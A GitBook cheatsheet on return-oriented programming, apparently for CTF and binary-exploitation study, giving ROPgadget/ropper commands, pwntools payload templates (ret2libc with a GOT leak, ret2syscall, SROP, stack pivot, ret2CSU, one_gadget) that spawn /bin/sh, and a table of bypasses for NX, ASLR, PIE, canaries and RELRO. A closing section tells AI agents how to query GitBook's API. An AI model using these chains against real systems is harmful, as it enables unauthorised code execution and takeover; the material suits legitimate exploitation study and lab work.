> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/03-rop-cheatsheet.md).

# ROP (Return-Oriented Programming) Cheatsheet

## ─── GADGET HUNTING ──────────────────────────────────────────────────────────

```bash
# ROPgadget
ROPgadget --binary ./vuln
ROPgadget --binary ./vuln --only "pop|ret"
ROPgadget --binary ./vuln | grep "pop rdi"
ROPgadget --binary ./vuln | grep ": ret$"
ROPgadget --binary ./vuln | grep "syscall"
ROPgadget --binary ./vuln | grep "leave ; ret"
ROPgadget --binary ./vuln | grep "xchg rsp"
ROPgadget --binary ./vuln --ropchain   # auto-build chain
ROPgadget --binary ./libc.so.6 | grep "pop rdi"

# ropper
ropper -f ./vuln
ropper -f ./vuln --search "pop rdi"
ropper -f ./vuln --type rop
ropper --file ./vuln --chain "execve"    # auto chain

# In pwndbg
rop --grep "pop rdi"
rop --grep "pop rdi" --grep "ret"

# objdump manual search (look for c3 = ret, 5f = pop rdi)
objdump -d ./vuln | grep -A1 "pop.*rdi" | grep ret
```

***

## ─── KEY GADGETS TO FIND ────────────────────────────────────────────────────

```bash
pop rdi ; ret              # set arg1 (rdi)
pop rsi ; ret              # set arg2 (rsi)
pop rsi ; pop r15 ; ret    # common variant
pop rdx ; ret              # set arg3 (rdx)
pop rdx ; pop rbx ; ret    # common variant
pop rax ; ret              # set rax (syscall number)
pop rcx ; ret
pop r8  ; ret
pop r9  ; ret
ret                        # alignment fix (16-byte stack)
syscall ; ret              # execute syscall
syscall                    # (no ret variant)
leave ; ret                # stack pivot
xchg rsp, rax ; ret        # stack pivot
int 0x80                   # 32-bit syscall
```

***

## ─── X86-64 CALLING CONVENTION ──────────────────────────────────────────────

```
Argument order: rdi, rsi, rdx, rcx, r8, r9, [stack]
Return value:   rax
Callee-saved:   rbp, rbx, r12–r15
Caller-saved:   rax, rcx, rdx, rsi, rdi, r8–r11

system("/bin/sh"):   rdi = &"/bin/sh"
write(1, buf, len):  rdi=1, rsi=buf, rdx=len
read(0, buf, len):   rdi=0, rsi=buf, rdx=len
execve(path,0,0):    rdi=path, rsi=0, rdx=0, rax=59
```

***

## ─── COMMON ROP CHAINS ──────────────────────────────────────────────────────

### ret2win (simplest)

```python
payload  = b'A' * offset
payload += p64(win_addr)
```

### ret2libc (system + /bin/sh)

```python
payload  = b'A' * offset
payload += p64(ret)           # stack alignment (if needed)
payload += p64(pop_rdi)
payload += p64(binsh_addr)    # libc.search(b'/bin/sh')
payload += p64(system_addr)   # libc.sym['system']
```

### GOT Leak + ret2libc (2 stage)

```python
# Stage 1: leak puts@got via puts@plt
payload  = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])  # return to main

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']

# Stage 2: system("/bin/sh")
payload2  = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(next(libc.search(b'/bin/sh')))
payload2 += p64(libc.sym['system'])
```

### ret2syscall (execve)

```python
payload  = b'A' * offset
payload += p64(pop_rax) + p64(59)          # execve
payload += p64(pop_rdi) + p64(binsh_addr)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)
```

### SROP (sigreturn)

```python
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload  = b'A' * offset
payload += p64(pop_rax) + p64(15)
payload += p64(syscall_addr)
payload += bytes(frame)
```

### Stack Pivot (leave;ret)

```python
# Write ROP chain to BSS first, then pivot
rop_chain = flat([pop_rdi, binsh, system])
bss = elf.bss() + 0x100

# Send ROP chain to BSS (via read or other write primitive)
# Then overflow:
payload  = b'A' * buf_size
payload += p64(bss - 8)     # overwrite saved RBP
payload += p64(leave_ret)   # pivot: rsp = rbp → bss
```

### ret2CSU

```python
def csu(arg1, arg2, arg3, func_got_ptr, next_addr):
    # gadget1: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
    # gadget2: mov rdx,r14; mov rsi,r13; mov edi,r12d; call [r15+rbx*8]
    chain  = p64(csu_gadget1)
    chain += p64(0)            # rbx
    chain += p64(1)            # rbp
    chain += p64(arg1)         # r12 → edi
    chain += p64(arg2)         # r13 → rsi
    chain += p64(arg3)         # r14 → rdx
    chain += p64(func_got_ptr) # r15 → [r15+0*8] = func to call
    chain += p64(csu_gadget2)
    chain += p64(0) * 7        # 0x38 bytes padding
    chain += p64(next_addr)
    return chain
```

***

## ─── STACK ALIGNMENT (COMMON ISSUE) ────────────────────────────────────────

```
system() / execve() require stack aligned to 16 bytes at call time.
Symptom: crash at 'movaps' instruction inside system().
Fix: add a single 'ret' gadget before system():

payload += p64(ret)         ← one extra ret
payload += p64(system_addr)
```

Check alignment:

```python
# The address on the stack when system() is called must end in 0
# (i.e., rsp & 0xf == 0)
```

***

## ─── FINDING /bin/sh ────────────────────────────────────────────────────────

```python
# In libc
next(libc.search(b'/bin/sh\x00'))
libc.address + 0x1b3e1a          # common offset, verify with search

# In binary
next(elf.search(b'/bin/sh'))

# Write to BSS
# Use a read gadget: read(0, bss, 8), then send b'/bin/sh\x00'

# From environment
# Strings in env[] are on the stack at known offset from rsp
```

***

## ─── USEFUL PWNTOOLS ROP ────────────────────────────────────────────────────

```python
rop = ROP(elf)

# Find gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
ret_g   = rop.find_gadget(['ret'])[0]

# Or shortcut
rop.rdi.address   # pop rdi; ret
rop.rsi.address   # pop rsi; pop r15; ret  (common)

# Build chain
rop.raw(pop_rdi)
rop.raw(binsh)
rop.raw(system)
print(rop.dump())       # human-readable chain
payload = b'A'*offset + bytes(rop)
```

***

## ─── BYPASSING MITIGATIONS ──────────────────────────────────────────────────

| Mitigation   | Bypass                                                 |
| ------------ | ------------------------------------------------------ |
| NX           | ROP (no shellcode execution needed)                    |
| ASLR         | Leak GOT → compute libc base                           |
| PIE          | Leak binary addr → set elf.address                     |
| Stack Canary | Leak via format string / brute                         |
| Full RELRO   | Use \_\_malloc\_hook / \_\_free\_hook / libc internals |
| seccomp      | Find allowed syscalls, use them                        |

***

## ─── ONE GADGET ─────────────────────────────────────────────────────────────

```bash
one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget ./libc.so.6 -r 3    # relax constraints

# Common constraint: [rsp+0x40] == NULL
# Fix: add 8+ rets before calling one_gadget to push rsp down

# Usage in exploit:
magic = libc.address + 0x4f302   # offset from one_gadget output
payload = b'A'*offset + p64(magic)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/03-rop-cheatsheet.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
